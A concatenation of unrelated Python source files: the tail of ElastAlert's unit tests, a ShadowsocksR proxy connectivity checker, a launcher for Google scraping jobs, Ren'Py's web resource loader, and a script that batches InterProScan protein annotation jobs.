ea.rules[0]['type'].matches = matches assert ea.rules[0]['alert'][0].alert.call_count == 1 # mock ts_now() to past the realert time matches = [{'@timestamp': hits[0]}] with mock.patch('elastalert.elastalert.ts_now') as mock_ts: with mock.patch('elastalert.elastalert.elasticsearch_client'): # mock_ts is converted twice to add tzinfo mock_ts.return_value = ts_to_dt(dt_to_ts(datetime.datetime.utcnow() + datetime.timedelta(minutes=10))) ea.rules[0]['type'].matches = matches ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 2 def test_realert_with_query_key(ea): ea.rules[0]['query_key'] = 'username' ea.rules[0]['realert'] = datetime.timedelta(minutes=10) # Alert and silence username: qlo match = [{'@timestamp': '2014-11-17T00:00:00', 'username': 'qlo'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 1 # Dont alert again for same username match = [{'@timestamp': '2014-11-17T00:05:00', 'username': 'qlo'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 1 # Do alert with a different value match = [{'@timestamp': '2014-11-17T00:05:00', 'username': ''}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 2 # Alert with query_key missing match = [{'@timestamp': '2014-11-17T00:05:00'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 3 # Still alert with a different value match = [{'@timestamp': '2014-11-17T00:05:00', 'username': 'ghengis_khan'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 4 def test_realert_with_nested_query_key(ea): ea.rules[0]['query_key'] = 'user.name' ea.rules[0]['realert'] = datetime.timedelta(minutes=10) # Alert and silence username: qlo match = [{'@timestamp': '2014-11-17T00:00:00', 'user': {'name': 'qlo'}}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 1 # Dont alert again for same username match = [{'@timestamp': '2014-11-17T00:05:00', 'user': {'name': 'qlo'}}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 1 def test_count(ea): ea.rules[0]['use_count_query'] = True ea.rules[0]['doc_type'] = 'doctype' with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) # Assert that es.count is run against every run_every timeframe between START and END start = START query = {'query': {'filtered': {'filter': {'bool': {'must': [{'range': {'@timestamp': {'lte': END_TIMESTAMP, 'gt': START_TIMESTAMP}}}]}}}}} while END - start > ea.run_every: end = start + ea.run_every query['query']['filtered']['filter']['bool']['must'][0]['range']['@timestamp']['lte'] = dt_to_ts(end) query['query']['filtered']['filter']['bool']['must'][0]['range']['@timestamp']['gt'] = dt_to_ts(start) start = start + ea.run_every ea.current_es.count.assert_any_call(body=query, doc_type='doctype', index='idx', ignore_unavailable=True) def run_and_assert_segmented_queries(ea, start, end, segment_size): with mock.patch.object(ea, 'run_query') as mock_run_query: ea.run_rule(ea.rules[0], end, start) original_end, original_start = end, start for call_args in mock_run_query.call_args_list: end = min(start + segment_size, original_end) assert call_args[0][1:3] == (start, end) start += segment_size # Assert elastalert_status was created for the entire time range assert ea.writeback_es.index.call_args_list[-1][1]['body']['starttime'] == dt_to_ts(original_start) assert ea.writeback_es.index.call_args_list[-1][1]['body']['endtime'] == dt_to_ts(original_end) def test_query_segmenting(ea): # buffer_time segments with normal queries ea.rules[0]['buffer_time'] = datetime.timedelta(minutes=53) mock_es = mock.Mock() mock_es.search.side_effect = _duplicate_hits_generator([START_TIMESTAMP]) with mock.patch('elastalert.elastalert.elasticsearch_client') as mock_es_init: mock_es_init.return_value = mock_es run_and_assert_segmented_queries(ea, START, END, ea.rules[0]['buffer_time']) # Assert that num_hits correctly includes the 1 hit per query assert ea.num_hits == ea.current_es.search.call_count # run_every segments with count queries ea.rules[0]['use_count_query'] = True with mock.patch('elastalert.elastalert.elasticsearch_client'): run_and_assert_segmented_queries(ea, START, END, ea.run_every) # run_every segments with terms queries ea.rules[0].pop('use_count_query') ea.rules[0]['use_terms_query'] = True with mock.patch('elastalert.elastalert.elasticsearch_client'): run_and_assert_segmented_queries(ea, START, END, ea.run_every) def test_get_starttime(ea): endtime = '2015-01-01T00:00:00Z' mock_es = mock.Mock() mock_es.search.return_value = {'hits': {'hits': [{'_source': {'endtime': endtime}}]}} ea.writeback_es = mock_es # 4 days old, will return endtime with mock.patch('elastalert.elastalert.ts_now') as mock_ts: mock_ts.return_value = ts_to_dt('2015-01-05T00:00:00Z') # 4 days ahead of the endtime assert ea.get_starttime(ea.rules[0]) == ts_to_dt(endtime) # 10 days old, will return None with mock.patch('elastalert.elastalert.ts_now') as mock_ts: mock_ts.return_value = ts_to_dt('2015-01-11T00:00:00Z') # 10 days ahead of the endtime assert ea.get_starttime(ea.rules[0]) is None def test_set_starttime(ea): # standard query, no starttime, no last run end = ts_to_dt('2014-10-10T10:10:10') with mock.patch.object(ea, 'get_starttime') as mock_gs: mock_gs.return_value = None ea.set_starttime(ea.rules[0], end) assert mock_gs.call_count == 1 assert ea.rules[0]['starttime'] == end - ea.buffer_time # Standard query, no starttime, rule specific buffer_time ea.rules[0].pop('starttime') ea.rules[0]['buffer_time'] = datetime.timedelta(minutes=37) with mock.patch.object(ea, 'get_starttime') as mock_gs: mock_gs.return_value = None ea.set_starttime(ea.rules[0], end) assert mock_gs.call_count == 1 assert ea.rules[0]['starttime'] == end - datetime.timedelta(minutes=37) ea.rules[0].pop('buffer_time') # Standard query, no starttime, last run ea.rules[0].pop('starttime') with mock.patch.object(ea, 'get_starttime') as mock_gs: mock_gs.return_value = ts_to_dt('2014-10-10T00:00:00') ea.set_starttime(ea.rules[0], end) assert mock_gs.call_count == 1 assert ea.rules[0]['starttime'] == ts_to_dt('2014-10-10T00:00:00') # Standard query, no starttime, last run, assure buffer_time doesn't go past ea.rules[0].pop('starttime') ea.rules[0]['buffer_time'] = datetime.timedelta(weeks=1000) with mock.patch.object(ea, 'get_starttime') as mock_gs: mock_gs.return_value = ts_to_dt('2014-10-09T00:00:00') # First call sets minumum_time ea.set_starttime(ea.rules[0], end) # Second call uses buffer_time, but it goes past minimum ea.set_starttime(ea.rules[0], end) assert ea.rules[0]['starttime'] == ts_to_dt('2014-10-09T00:00:00') # Standard query, starttime ea.rules[0].pop('buffer_time') ea.rules[0].pop('minimum_starttime') with mock.patch.object(ea, 'get_starttime') as mock_gs: mock_gs.return_value = None ea.set_starttime(ea.rules[0], end) assert mock_gs.call_count == 0 assert ea.rules[0]['starttime'] == end - ea.buffer_time # Count query, starttime, no previous endtime ea.rules[0]['use_count_query'] = True ea.rules[0]['doc_type'] = 'blah' with mock.patch.object(ea, 'get_starttime') as mock_gs: mock_gs.return_value = None ea.set_starttime(ea.rules[0], end) assert mock_gs.call_count == 0 assert ea.rules[0]['starttime'] == end - ea.run_every # Count query, with previous endtime with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) ea.set_starttime(ea.rules[0], end) assert ea.rules[0]['starttime'] == END # buffer_time doesn't go past previous endtime ea.rules[0].pop('use_count_query') ea.rules[0]['previous_endtime'] = end - ea.buffer_time * 2 ea.set_starttime(ea.rules[0], end) assert ea.rules[0]['starttime'] == ea.rules[0]['previous_endtime'] def test_kibana_dashboard(ea): match = {'@timestamp': '2014-10-11T00:00:00'} mock_es = mock.Mock() ea.rules[0]['use_kibana_dashboard'] = 'my dashboard' with mock.patch('elastalert.elastalert.elasticsearch_client') as mock_es_init: mock_es_init.return_value = mock_es # No dashboard found mock_es.search.return_value = {'hits': {'total': 0, 'hits': []}} with pytest.raises(EAException): ea.use_kibana_link(ea.rules[0], match) mock_call = mock_es.search.call_args_list[0][1] assert mock_call['body'] == {'query': {'term': {'_id': 'my dashboard'}}} # Dashboard found mock_es.index.return_value = {'_id': 'ABCDEFG'} mock_es.search.return_value = {'hits': {'hits': [{'_source': {'dashboard': json.dumps(dashboard_temp)}}]}} url = ea.use_kibana_link(ea.rules[0], match) assert 'ABCDEFG' in url db = json.loads(mock_es.index.call_args_list[0][1]['body']['dashboard']) assert 'anytest' in db['title'] # Query key filtering added ea.rules[0]['query_key'] = 'foobar' match['foobar'] = 'baz' url = ea.use_kibana_link(ea.rules[0], match) db = json.loads(mock_es.index.call_args_list[-1][1]['body']['dashboard']) assert db['services']['filter']['list']['1']['field'] == 'foobar' assert db['services']['filter']['list']['1']['query'] == '"baz"' # Compound query key ea.rules[0]['query_key'] = 'foo,bar' ea.rules[0]['compound_query_key'] = ['foo', 'bar'] match['foo'] = 'cat' match['bar'] = 'dog' match['foo,bar'] = 'cat, dog' url = ea.use_kibana_link(ea.rules[0], match) db = json.loads(mock_es.index.call_args_list[-1][1]['body']['dashboard']) found_filters = 0 for filter_id, filter_dict in db['services']['filter']['list'].items(): if (filter_dict['field'] == 'foo' and filter_dict['query'] == '"cat"') or \ (filter_dict['field'] == 'bar' and filter_dict['query'] == '"dog"'): found_filters += 1 continue assert found_filters == 2 def test_rule_changes(ea): ea.rule_hashes = {'rules/rule1.yaml': 'ABC', 'rules/rule2.yaml': 'DEF'} ea.rules = [ea.init_rule(rule, True) for rule in [{'rule_file': 'rules/rule1.yaml', 'name': 'rule1', 'filter': []}, {'rule_file': 'rules/rule2.yaml', 'name': 'rule2', 'filter': []}]] ea.rules[1]['processed_hits'] = ['save me'] new_hashes = {'rules/rule1.yaml': 'ABC', 'rules/rule3.yaml': 'XXX', 'rules/rule2.yaml': '!@#$'} with mock.patch('elastalert.elastalert.get_rule_hashes') as mock_hashes: with mock.patch('elastalert.elastalert.load_configuration') as mock_load: mock_load.side_effect = [{'filter': [], 'name': 'rule2', 'rule_file': 'rules/rule2.yaml'}, {'filter': [], 'name': 'rule3', 'rule_file': 'rules/rule3.yaml'}] mock_hashes.return_value = new_hashes ea.load_rule_changes() # All 3 rules still exist assert ea.rules[0]['name'] == 'rule1' assert ea.rules[1]['name'] == 'rule2' assert ea.rules[1]['processed_hits'] == ['save me'] assert ea.rules[2]['name'] == 'rule3' # Assert 2 and 3 were reloaded assert mock_load.call_count == 2 mock_load.assert_any_call('rules/rule2.yaml', ea.conf) mock_load.assert_any_call('rules/rule3.yaml', ea.conf) # A new rule with a conflicting name wont load new_hashes = copy.copy(new_hashes) new_hashes.update({'rules/rule4.yaml': 'asdf'}) with mock.patch('elastalert.elastalert.get_rule_hashes') as mock_hashes: with mock.patch('elastalert.elastalert.load_configuration') as mock_load: with mock.patch.object(ea, 'send_notification_email') as mock_send: mock_load.return_value = {'filter': [], 'name': 'rule3', 'new': 'stuff', 'rule_file': 'rules/rule4.yaml'} mock_hashes.return_value = new_hashes ea.load_rule_changes() mock_send.assert_called_once_with(exception=mock.ANY, rule_file='rules/rule4.yaml') assert len(ea.rules) == 3 assert not any(['new' in rule for rule in ea.rules]) # An old rule which didn't load gets reloaded new_hashes = copy.copy(new_hashes) new_hashes['rules/rule4.yaml'] = 'qwerty' with mock.patch('elastalert.elastalert.get_rule_hashes') as mock_hashes: with mock.patch('elastalert.elastalert.load_configuration') as mock_load: mock_load.return_value = {'filter': [], 'name': 'rule4', 'new': 'stuff', 'rule_file': 'rules/rule4.yaml'} mock_hashes.return_value = new_hashes ea.load_rule_changes() assert len(ea.rules) == 4 def test_strf_index(ea): """ Test that the get_index function properly generates indexes spanning days """ ea.rules[0]['index'] = 'logstash-%Y.%m.%d' ea.rules[0]['use_strftime_index'] = True # Test formatting with times start = ts_to_dt('2015-01-02T12:34:45Z') end = ts_to_dt('2015-01-02T16:15:14Z') assert ea.get_index(ea.rules[0], start, end) == 'logstash-2015.01.02' end = ts_to_dt('2015-01-03T01:02:03Z') assert ea.get_index(ea.rules[0], start, end) == 'logstash-2015.01.02,logstash-2015.01.03' # Test formatting for wildcard assert ea.get_index(ea.rules[0]) == 'logstash-*' ea.rules[0]['index'] = 'logstash-%Y.%m' assert ea.get_index(ea.rules[0]) == 'logstash-*' ea.rules[0]['index'] = 'logstash-%Y.%m-stuff' assert ea.get_index(ea.rules[0]) == 'logstash-*-stuff' def test_count_keys(ea): ea.rules[0]['timeframe'] = datetime.timedelta(minutes=60) ea.rules[0]['top_count_keys'] = ['this', 'that'] ea.rules[0]['type'].matches = {'@timestamp': END} ea.rules[0]['doc_type'] = 'blah' buckets = [{'aggregations': {'filtered': {'counts': {'buckets': [{'key': 'a', 'doc_count': 10}, {'key': 'b', 'doc_count': 5}]}}}}, {'aggregations': {'filtered': {'counts': {'buckets': [{'key': 'd', 'doc_count': 10}, {'key': 'c', 'doc_count': 12}]}}}}] ea.current_es.search.side_effect = buckets counts = ea.get_top_counts(ea.rules[0], START, END, ['this', 'that']) calls = ea.current_es.search.call_args_list assert calls[0][1]['search_type'] == 'count' assert calls[0][1]['body']['aggs']['filtered']['aggs']['counts']['terms'] == {'field': 'this', 'size': 5} assert counts['top_events_this'] == {'a': 10, 'b': 5} assert counts['top_events_that'] == {'d': 10, 'c': 12} def test_exponential_realert(ea): ea.rules[0]['exponential_realert'] = datetime.timedelta(days=1) # 1 day ~ 10 * 2**13 seconds ea.rules[0]['realert'] = datetime.timedelta(seconds=10) until = ts_to_dt('2015-03-24T00:00:00') ts5s = until + datetime.timedelta(seconds=5) ts15s = until + datetime.timedelta(seconds=15) ts1m = until + datetime.timedelta(minutes=1) ts5m = until + datetime.timedelta(minutes=5) ts4h = until + datetime.timedelta(hours=4) test_values = [(ts5s, until, 0), # Exp will increase to 1, 10*2**0 = 10s (ts15s, until, 0), # Exp will stay at 0, 10*2**0 = 10s (ts15s, until, 1), # Exp will increase to 2, 10*2**1 = 20s (ts1m, until, 2), # Exp will decrease to 1, 10*2**2 = 40s (ts1m, until, 3), # Exp will increase to 4, 10*2**3 = 1m20s (ts5m, until, 1), # Exp will lower back to 0, 10*2**1 = 20s (ts4h, until, 9), # Exp will lower back to 0, 10*2**9 = 1h25m (ts4h, until, 10), # Exp will lower back to 9, 10*2**10 = 2h50m (ts4h, until, 11)] # Exp will increase to 12, 10*2**11 = 5h results = (1, 0, 2, 1, 4, 0, 0, 9, 12) next_res = iter(results) for args in test_values: ea.silence_cache[ea.rules[0]['name']] = (args[1], args[2]) next_alert, exponent = ea.next_alert_time(ea.rules[0], ea.rules[0]['name'], args[0]) assert exponent == next_res.next() def test_stop(ea): """ The purpose of this test is to make sure that calling ElastAlerter.stop() will break it out of a ElastAlerter.start() loop. This method exists to provide a mechanism for running ElastAlert with threads and thus must be tested with threads. mock_loop verifies the loop is running and will call stop after several iterations. """ # Exit the thread on the fourth iteration def mock_loop(): for i in range(3): assert ea.running yield ea.stop() with mock.patch.object(ea, 'sleep_for', return_value=None): with mock.patch.object(ea, 'run_all_rules') as mock_run: mock_run.side_effect = mock_loop() start_thread = threading.Thread(target=ea.start) # Set as daemon to prevent a failed test from blocking exit start_thread.daemon = True start_thread.start() # Give it a few seconds to run the loop start_thread.join(5) assert not ea.running assert not start_thread.is_alive() assert mock_run.call_count == 4 def test_notify_email(ea): mock_smtp = mock.Mock() ea.rules[0]['notify_email'] = ['foo@foo.foo', 'bar@bar.bar'] with mock.patch('elastalert.elastalert.SMTP') as mock_smtp_f: mock_smtp_f.return_value = mock_smtp # Notify_email from rules, array ea.send_notification_email('omg', rule=ea.rules[0]) assert set(mock_smtp.sendmail.call_args_list[0][0][1]) == set(ea.rules[0]['notify_email']) # With ea.notify_email ea.notify_email = ['baz@baz.baz'] ea.send_notification_email('omg', rule=ea.rules[0]) assert set(mock_smtp.sendmail.call_args_list[1][0][1]) == set(['baz@baz.baz'] + ea.rules[0]['notify_email']) # With ea.notify email but as single string ea.rules[0]['notify_email'] = 'foo@foo.foo' ea.send_notification_email('omg', rule=ea.rules[0]) assert set(mock_smtp.sendmail.call_args_list[2][0][1]) == set(['baz@baz.baz', 'foo@foo.foo']) # None from rule ea.rules[0].pop('notify_email') ea.send_notification_email('omg', rule=ea.rules[0]) assert set(mock_smtp.sendmail.call_args_list[3][0][1]) == set(['baz@baz.baz']) def test_uncaught_exceptions(ea): e = Exception("Errors yo!") # With disabling set to false ea.disable_rules_on_error = False ea.handle_uncaught_exception(e, ea.rules[0]) assert len(ea.rules) == 1 assert len(ea.disabled_rules) == 0 # With disabling set to true ea.disable_rules_on_error = True ea.handle_uncaught_exception(e, ea.rules[0]) assert len(ea.rules) == 0 assert len(ea.disabled_rules) == 1 # Changing the file should re-enable it ea.rule_hashes = {'rule1': 'abc'} new_hashes = {'rule1': 'def'} with mock.patch('elastalert.elastalert.get_rule_hashes') as mock_hashes: with mock.patch('elastalert.elastalert.load_configuration') as mock_load: mock_load.side_effect = [ea.disabled_rules[0]] mock_hashes.return_value = new_hashes ea.load_rule_changes() assert len(ea.rules) == 1 assert len(ea.disabled_rules) == 0 # Notify email is sent ea.notify_email = 'qlo@example.com' with mock.patch.object(ea, 'send_notification_email') as mock_email: ea.handle_uncaught_exception(e, ea.rules[0]) assert mock_email.call_args_list[0][1] == {'exception': e, 'rule': ea.disabled_rules[0]} def test_get_top_counts_handles_no_hits_returned(ea): with mock.patch.object(ea, 'get_hits_terms') as mock_hits: mock_hits.return_value = None rule = ea.rules[0] starttime = datetime.datetime.now() - datetime.timedelta(minutes=10) endtime = datetime.datetime.now() keys = ['foo'] all_counts = ea.get_top_counts(rule, starttime, endtime, keys) assert all_counts == {'top_events_foo': {}} def test_remove_old_events(ea): now = ts_now() minute = datetime.timedelta(minutes=1) ea.rules[0]['processed_hits'] = {'foo': now - minute, 'bar': now - minute * 5, 'baz': now - minute * 15} ea.rules[0]['buffer_time'] = datetime.timedelta(minutes=10) # With a query delay, only events older than 20 minutes will be removed (none) ea.rules[0]['query_delay'] = datetime.timedelta(minutes=10) ea.remove_old_events(ea.rules[0]) assert len(ea.rules[0]['processed_hits']) == 3 # With no query delay, the 15 minute old event will be removed ea.rules[0].pop('query_delay') ea.remove_old_events(ea.rules[0]) assert len(ea.rules[0]['processed_hits']) == 2 assert 'baz' not in ea.rules[0]['processed_hits']
ssr_check.py
#!/usr/bin/env python3 import requests import time import threading from ssshare.ss import ss_local import random def test_connection( url='http://cip.cc', headers={'User-Agent': 'curl/7.21.3 (i686-pc-linux-gnu) ' 'libcurl/7.21.3 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18'}, proxies=None, port=1080, timeout=10): if not proxies: proxies = {'http': 'socks5://localhost:{}'.format(port), 'https': 'socks5://localhost:{}'.format(port)} ok = False content = '' try: start = time.time() respond = requests.get(url, headers=headers, proxies=proxies, timeout=timeout) if respond.ok: ok = (time.time() - start) * 1000 else: ok = respond.ok content = respond.text except Exception as e: print(e) content = repr(e) return ok, content def test_socks_server(dictionary=None, str_json=None, port=None): if not port: port = random.randint(2000, 3000) try: try: loop, tcps, udps = ss_local.main( dictionary=dictionary, str_json=str_json, port=port) except Exception as e: print(e) return -1, 'SSR start failed' try: t = threading.Thread(target=loop.run) t.start() time.sleep(3) conn, content = test_connection(port=port) loop.stop() t.join() tcps.close(next_tick=True) udps.close(next_tick=True) time.sleep(1) return conn, content except Exception as e: print(e) return -2, 'Thread or Connection to website failed' except SystemExit as e: return e.code - 10, 'Unknown failure' def validate(websites): for servers in websites: print(servers['info']) for server in servers['data']: result, info = test_socks_server(str_json=server['json']) print('>' * 10, '结果:', result) if result >= 0: print('>' * 10, '测试通过!') elif result == -1: print(server['json']) server['status'] = result server['content'] = info return websites if __name__ == '__main__': print(test_connection())
proc_google_selenium.py
#sub processes to scrape Google selenium #include libs import sys sys.path.insert(0, '..') from include import * def google_selenium(): call(["python3", "job_google_selenium.py"]) def google_selenium_sv(): call(["python3", "job_google_selenium_sv.py"]) def reset_scraper(): call(["python3", "job_reset_scraper.py"]) process1 = threading.Thread(target=google_selenium) process2 = threading.Thread(target=reset_scraper) process3 = threading.Thread(target=google_selenium_sv) process1.start() process2.start() process3.start()
webloader.py
# Copyright 2004-2021 Tom Rothamel <pytom@bishoujo.us> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Trigger remote resource download, following a DownloadNeeded # exception, and place it in the game/ in-memory filesystem when done. # Placeholders (low-quality images, short silence sounds) are used by # the engine meanwhile, and are replaced on completion. # To save RAM, files are unlinked as soon as possible (e.g. once # uploaded to GPU), and re-downloaded from browser cache if needed. # Prediction is used to download resources in advance, but no guarantee. # (e.g. won't work when loading a savegame, nor with 'show expression') from __future__ import print_function import renpy import os import renpy.display import threading import time # A list of downloads, in-progress or waiting to be processed. queue = [ ] # A list of downloaded files to free later to_unlink = { } # A lock that must be held when updating the queue. queue_lock = threading.RLock() if renpy.emscripten: import emscripten, json # Space-efficient, copy-less download share # Note: could be reimplement with pyodide's jsproxy, but let's keep things small emscripten.run_script(r"""RenPyWeb = { xhr_id: 0, xhrs: {}, dl_new: function(path) { var xhr = new XMLHttpRequest(); xhr.responseType = 'arraybuffer'; xhr.onerror = function() { console.log("Network error", xhr); }; xhr.onload = function() { if (xhr.status == 200 || xhr.status == 304 || xhr.status == 206 || (xhr.status == 0 && xhr.response)) { // Create file reusing XHR's buffer (no-copy) try { FS.unlink(path); } catch(error) {} FS.writeFile(path, new Uint8Array(xhr.response), {canOwn:true}); } else { console.log("Download error", xhr); } }; xhr.open('GET', path); xhr.send(); RenPyWeb.xhrs[RenPyWeb.xhr_id] = xhr; var ret = RenPyWeb.xhr_id; RenPyWeb.xhr_id++; return ret; }, dl_get: function(xhr_id) { return RenPyWeb.xhrs[xhr_id]; }, dl_free: function(xhr_id) { delete RenPyWeb.xhrs[xhr_id]; // Note: xhr.response kept alive until file is unlinked }, }; """) class XMLHttpRequest(object): def __init__(self, filename): url = 'game/' + filename self.id = emscripten.run_script_int( r'''RenPyWeb.dl_new({})'''.format(json.dumps(url))) def __del__(self): emscripten.run_script(r'''RenPyWeb.dl_free({});'''.format(self.id)) @property def readyState(self): return emscripten.run_script_int(r'''RenPyWeb.dl_get({}).readyState'''.format(self.id)) @property def status(self): return emscripten.run_script_int(r'''RenPyWeb.dl_get({}).status'''.format(self.id)) @property def statusText(self): return emscripten.run_script_string(r'''RenPyWeb.dl_get({}).statusText'''.format(self.id)) elif os.environ.get('RENPY_SIMULATE_DOWNLOAD', False): # simulate # Ex: rm -rf odrdtest-simu && unzip -d odrdtest-simu/ odrdtest-1.0-dists/odrdtest-1.0-web/game.zip && RENPY_SIMULATE_DOWNLOAD=1 ./renpy.sh odrdtest-simu import urllib2, urllib, httplib, os, threading, time, random class XMLHttpRequest(object): def __init__(self, filename): self.done = False self.error = None url = 'http://127.0.0.1:8042/game/' + urllib.quote(filename) req = urllib2.Request(url) def thread_main(): try: time.sleep(random.random() * 0.5) r = urllib2.urlopen(req) fullpath = os.path.join(renpy.config.gamedir, filename) with queue_lock: with open(fullpath, 'wb') as f: f.write(r.read()) except urllib2.URLError as e: self.error = str(e.reason) except httplib.HTTPException as e: self.error = 'HTTPException' except Exception as e: self.error = 'Error: ' + str(e) self.done = True threading.Thread(target=thread_main, name="XMLHttpRequest").start() @property def readyState(self): if self.done: return 4 else: return 0 @property def status(self): if self.error: return 0 return 200 @property def statusText(self): return self.error or 'OK' class DownloadNeeded(Exception): def __init__(self, relpath, rtype, size): self.relpath = relpath self.rtype = rtype self.size = size class ReloadRequest: def __init__(self, relpath, rtype, data): self.relpath = relpath self.rtype = rtype self.data = data self.gc_gen = 0 self.xhr = XMLHttpRequest(self.relpath) def download_completed(self): return self.xhr.readyState == 4 def __repr__(self): return u"<ReloadRequest {} '{}' {}>".format(self.rtype, self.relpath, self.download_completed()) def enqueue(relpath, rtype, data): global queue with queue_lock: for rr in queue: # de-dup same .data/image_filename # don't de-dup same .relpath (different .data == different cache entry) if rr.rtype == rtype == 'image': image_filename = data if rr.data == image_filename: return elif rr.rtype == rtype == 'music' and rr.relpath == relpath: return elif rr.rtype == rtype == 'voice': if rr.relpath == relpath: return if len([True for rr in queue if rr.type == 'voice']) > renpy.config.predict_statements: # don't stack skipped dialogs return queue.append(ReloadRequest(relpath, rtype, data)) def process_downloaded_resources(): global queue, to_unlink reload_needed = False with queue_lock: todo = queue[:] postponed = [] try: while todo: rr = todo.pop() if not rr.download_completed(): postponed.append(rr) continue if rr.rtype == 'image': fullpath = os.path.join(renpy.config.gamedir,rr.relpath) if not os.path.exists(fullpath): # trigger Ren'Py's error handler raise IOError("Download error: {} ('{}' > '{}')".format( (rr.xhr.statusText or "network error"), rr.relpath, fullpath)) image_filename = rr.data renpy.exports.flush_cache_file(image_filename) # mark for deletion fullpath = os.path.join(renpy.config.gamedir,rr.relpath) to_unlink[fullpath] = time.time() reload_needed = True elif rr.rtype == 'music': # - just wait for the 0.5s placeholder to finish, # will be reloaded on sound loop # - no unlink pass elif rr.rtype == 'voice': # mark for deletion as it's a one-time usage (a bit delayed) fullpath = os.path.join(renpy.config.gamedir,rr.relpath) to_unlink[fullpath] = time.time() + 120 # TODO: videos (when web support is implemented) # make sure the queue doesn't contain a corrupt file so we # don't rethrow an exception while in Ren'Py's error handler finally: queue = postponed + todo if reload_needed: # Refresh the screen and re-load images flushed from cache # Note: done at next Ren'Py interaction (prediction reset) renpy.display.render.free_memory() # Free files from memory once they are loaded # Due to search-path dups and derived images (including image-based animations) # files can't be removed right after actual load ttl = 60 # remove after 1mn - if your animation is longer than that, use a video for fullpath in to_unlink.keys(): delta = time.time() - to_unlink[fullpath] if delta > ttl: os.unlink(fullpath) del to_unlink[fullpath]
ipr.py
#!/usr/bin/env python3 import time import sys import threading import Bio from Bio import SeqIO from Bio.Seq import Seq import multiprocessing as mp import tempfile import subprocess import shutil import pandas as pd import io limit = 30 threads = [] jobq=mp.Queue(limit) assert jobq.empty() results = [] t1 = time.time() names = [] for i in range(15): names.append(i) def request(jobq): while True: rec =jobq.get() if rec is None: return else: tempdir = tempfile.mkdtemp() tempfasta = tempdir + '/{}.fasta'.format(rec.id.split('|')[-1]) newrec = Bio.SeqRecord.SeqRecord( id=rec.id, seq =rec.seq) #print(newrec.format('fasta')) SeqIO.write(newrec, tempfasta, 'fasta') t1 = time.time() #cmd = 'python3 iprscan5.py --goterms --pathways --appl SMART --appl TMHMM --appl CDD --appl Pfam --appl Phobius --appl ProDom --appl SignalP --appl TIGRFAM --appl COILS --appl Gene3D --appl HAMAP --appl MOBIDB --appl PANTHER --appl PIRSF --appl PRINTS --appl PROSITE --appl SFLD --email=matthys@gmail.com --outfile={} --outformat=tsv --quiet {}'.format(tempfasta, tempfasta) cmd = 'iprscan5.py --goterms --pathways --email=matthys@gmail.com --outfile={} --outformat=tsv --quiet {}'.format(tempfasta, tempfasta) done=False #failures = 0 while done == False: t1 = time.time() try: p = subprocess.Popen(cmd, shell=True) p.wait() #print(p.communicate()) assert p.returncode == 0 with open(tempfasta+'.tsv.txt') as f: res = f.read() if res != '': data = io.StringIO(res) df = pd.read_csv(data, names=names, sep='\t', header=None) #print(df) results.append(df) done = True #print('Job took {} seconds'.format(str(time.time()-t1))) except: time.sleep(60) print('Failed, retrying {}'.format(tempfasta)) #failures += 1 #if failures > 10: # done=True shutil.rmtree(tempdir) workers = [] for i in range(limit): p = threading.Thread(target=request, args=(jobq,)) p.daemon=True p.start() workers.append(p) # Load the recs count = 0 recs = SeqIO.parse(sys.argv[1],'fasta') for i in recs: #count += 1 #if count > 10: # continue jobq.put(i) for i in range(limit): jobq.put(None) for w in workers: w.join() assert jobq.empty() # All workers took their None from the queue, ie none were dead if len(results) == 0: res = pd.DataFrame() else: res = pd.concat(results) print(res.head()) res.to_csv(sys.argv[1] + '.tsv', sep='\t', index=False, header=False) print('Results: ', len(results)) print('Time elapsed: ', time.time()-t1)
Main.py
